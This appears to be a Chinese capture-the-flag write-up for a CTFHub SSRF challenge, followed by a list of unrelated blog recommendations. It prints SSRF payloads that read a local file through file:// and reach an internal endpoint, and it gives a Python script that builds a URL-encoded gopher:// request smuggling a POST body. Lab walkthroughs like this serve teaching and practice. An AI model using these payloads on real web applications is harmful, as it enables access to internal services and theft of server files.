CTFHUB-SSRF-POST请求

通过file协议访问flag.php文件内容

复制代码
?url=file:///var/www/html/flag.php

右键查看页面源代码

需要从内部携带key发送post数据包即可获得flag

复制代码
?url=http://127.0.0.1/flag.php

得到了key

构造POST请求数据包,进行url编码(新建一个txt文件,输入以下内容保存,修改为python文件,重命名为gopher.py)

python 复制代码
# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=d554812847363980d21b2b1b87733501
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

在命令行窗口执行

复制代码
python gopher.py

通过Gopher协议发送请求,得到了flag

复制代码
?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dd554812847363980d21b2b1b87733501%250D%250A
相关推荐
蛋白界小百灵1 小时前
Beacon单细胞光流控筛选技术:单细胞水平的抗体筛选与细胞功能分析
经验分享·生物技术·实验·卡梅德生物·科研实验
学逆向的1 小时前
C 浮点数e(科学计数法)
c语言·开发语言·网络安全
看着博客敲代码1 小时前
enum4linux 报 Server doesn‘t allow session 与 SMB 主机信息枚举
linux·安全·网络安全
省钱兄--zs2 小时前
碰碰好评卡系统开发实战指南 核心功能实现与部署落地全流程拆解
数据仓库·经验分享·spring boot·小程序·架构
愤怒火龙果2 小时前
AI攻防 AIRT-Foundations of AI Red Teaming
人工智能·网络安全
HRTOS2 小时前
HRTOS 4.0 实测:8051 操作系统毫秒级任务延时精度测试
经验分享·单片机·51单片机
知产xiao_xin2 小时前
商标权的保护
经验分享·笔记·知识产权
HRTOS2 小时前
HRTOS 4.0 实测:指定任务运行机制与任务切换耗时
经验分享·单片机·51单片机
HRTOS2 小时前
HRTOS 4.0 实测:事件阻塞与唤醒调度耗时测试
经验分享·单片机·51单片机
虹科数字化与AR11 小时前
电力巡检AR眼镜怎么选?重量、防护、续航、摄像头与佩戴方式
经验分享·增强现实·电力巡检